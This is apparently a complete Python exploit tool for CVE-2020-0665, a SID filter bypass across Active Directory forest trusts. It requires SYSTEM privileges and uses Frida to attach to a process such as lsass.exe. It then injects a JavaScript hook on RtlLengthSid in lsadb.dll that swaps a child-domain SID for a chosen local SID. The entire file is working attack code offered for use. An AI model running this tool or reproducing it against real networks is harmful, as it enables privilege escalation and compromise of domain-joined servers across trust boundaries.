from __future__ import print_function import argparse import sys import subprocess # We will need 'frida' library to intercept processes try: import frida except: print("'frida' library not found. Please try to install it and retry.") sys.exit(1) def ensure_system_privileges(): """ Check if the current user has SYSTEM privileges. Exits if not running as SYSTEM. Needed since we will intercept and hook processes. """ try: output = subprocess.check_output("whoami", shell=True) output = output.strip().lower() if output != "nt authority\\system": print("[!] Insufficient privileges. Current user is: {}".format(output)) print("[!] You must be running as NT AUTHORITY\\SYSTEM.") sys.exit(1) except Exception as e: print("[!] Error checking user privileges: {}".format(str(e))) sys.exit(1) def print_info(args): """ Print some information given. """ print("[+] Child SID: {child}" .format(child=args.child_sid)) print("[+] Local SID: {local_sid}". format(local_sid=args.local_sid)) print("[+] Process to interupt and hook: {p}".format(p=args.process)) return def parse_args(): """ Get arguments/flags from user. """ parser = argparse.ArgumentParser(description='CVE-2020-0665 / SID Filter Bypass - by gunzf0x') parser.add_argument('--child-sid', help='Child Domain SID', required=True) parser.add_argument('--local-sid', help='Local SID of the victim server (cannot be Domain Controller).', required=True) parser.add_argument('-p', '--process', help='Process to intercept and hook. Process name or PID (number). For example and recommended: lsass.exe', required=True) parser.add_argument('--prefix-child-sid', help='Prefix in Child Domain SID. For example, if Child SID is "S-1-5-21-3878752286-62540090-653003637", it has prefix "S-1-5-21-". If not specified, the program will attempt to extract it automatically.') parser.add_argument('--prefix-local-sid', help='Prefix in Local SID Workstation. For example, if Child SID is "S-1-5-21-2327345182-1863223493-3435513819", it has prefix "S-1-5-21-". If not specified, the program will attempt to extract it automatically.') parser.add_argument('-v' ,'--verbose', action='store_true', help='Enable verbose output.') return parser.parse_args() def get_prefix_automatically(SID, doVerbose, SID_Name): """ Get SID prefix if user has not explicitly given it. If 'S-1-5-21-3878752286-62540090-653003637' is a SID, then 'S-1-5-21-' is obtained as its prefix. """ # Split up to the fourth "-" parts = SID.split("-", 4) prefix = "-".join(parts[:4]) # Show prefix extracted if verbose is enabled if doVerbose: print("(Verbose) Prefix automatically extracted: '{p}-' for {s}" .format(p=prefix, s=SID_Name)) # Return interesting part of SID return prefix + '-' def SID_to_Binary(SID, prefix, doVerbose, SID_Name): """ Pass part of SID to binary """ # If user has explicitly passed a prefix, use it if prefix: components = SID.split(prefix, 1) if doVerbose: print("(Verbose) Manual prefix set '{p}' for {c}" .format(p=prefix, c=SID_Name)) print("(Verbose) The following part of SID will be passed to binary for {c}: {part}" .format(part=components[1], c=SID_Name)) else: #otherwise, extract prefix automatically prefix = get_prefix_automatically(SID, doVerbose, SID_Name) components = SID.split(prefix, 1) if len(components) > 1: remaining_string = components[1] split_values = remaining_string.split('-') output_list = [] for i in split_values: decimal_number = int(i) # For some reason, Python returns an 'L' in Windows for long integers. When SID is splitted by '-', a long integer is obtained and produces an 'L' in output. Remove that. hexadecimal_value = hex(decimal_number).rstrip('L').replace('0x', '').zfill(8) little = ' '.join([hexadecimal_value[i:i+2] for i in range(len(hexadecimal_value)-2, -2, -2)]) bytes_list = little.split() formatted_bytes = ', '.join(["0x{}".format(byte.upper()) for byte in bytes_list]) output_list.append(formatted_bytes) final_output = ', '.join(output_list) if doVerbose: print("(Verbose) Binary payload: " + "0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, " + final_output) try: binary_SID = "0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, " + final_output except: print("[-] Could not retrieve binary SID for {sid}".format(sid=SID)) sys.exit(1) return binary_SID def on_message(message, data): """ Print messages for 'frida' library """ print("[%s] => %s" % (message, data)) def intercept_and_hook_process(child_SID_binary, local_SID_binary, process, doVerbose): """ Use 'frida' to intercept and hook process to trigger the vulnerability """ # Get process by its PID (integer) or its name try: target_process = int(process) except ValueError: if doVerbose: print("(Verbose) '{p}' process could not be converted to an integer. Using it as a string variable..." .format(p=process)) target_process = process print("[+] Intercepting and hooking process '{p}'...".format(p=process)) session = frida.attach(target_process) # Define a payload based on https://github.com/dirkjanm/forest-trust-tools/blob/master/frida_intercept.py payload = """ // Find base address of current imported lsadb.dll by lsass var baseAddr = Module.findBaseAddress('lsadb.dll'); console.log('lsadb.dll baseAddr: ' + baseAddr); // Add call to RtlLengthSid from LsaDbpDsForestBuildTrustEntryForAttrBlock // (address valid for Server 2016 v1607) var returnaddr = ptr('0x151dc'); var resolvedreturnaddr = baseAddr.add(returnaddr) // Sid as binary array to find/replace var buf1 = [%s]; var newsid = [%s]; // Find module and attach var f = Module.getExportByName('ntdll.dll', 'RtlLengthSid'); Interceptor.attach(f, { onEnter: function (args) { // Only do something calls that have the return address we want if(this.returnAddress.equals(resolvedreturnaddr)){ console.log("entering intercepted function will return to r2 " + this.returnAddress); // Dump current SID console.log(hexdump(args[0], { offset: 0, length: 24, header: true, ansi: false })); // If this is the sid to replace, do so if(equal(buf1, args[0].readByteArray(24))){ console.log("sid matches!"); args[0].writeByteArray(newsid); console.log("modified SID in response"); } } }, }); function equal (buf1, buf2) { var dv1 = buf1; var dv2 = new Uint8Array(buf2); for (var i = 0 ; i != buf2.byteLength ; i++) { if (dv1[i] != dv2[i]){ return false; } } return true; } """ % (child_SID_binary, local_SID_binary) if doVerbose: print("(Verbose) The following payload will be injected:\n\n", payload) script = session.create_script(payload) script.on('message', on_message) script.load() print("[!] Ctrl+Z on Windows/cmd.exe to detach from instrumented program.\n\n") sys.stdin.read() session.detach() def main(): # Get user arguments args = parse_args() # Check if the script is being executed as 'nt authority/system', since we require privileges ('Administrator' does not work) ensure_system_privileges() # Print information given by the user print_info(args) # Child SID to binary child_SID_binary = SID_to_Binary(args.child_sid, args.prefix_child_sid, args.verbose, 'child SID') # Local SID to binary local_SID_binary = SID_to_Binary(args.local_sid, args.prefix_local_sid, args.verbose, 'local SID') # Intercept and hook the target process with 'frida' intercept_and_hook_process(child_SID_binary, local_SID_binary, args.process, args.verbose) if __name__ == "__main__": main()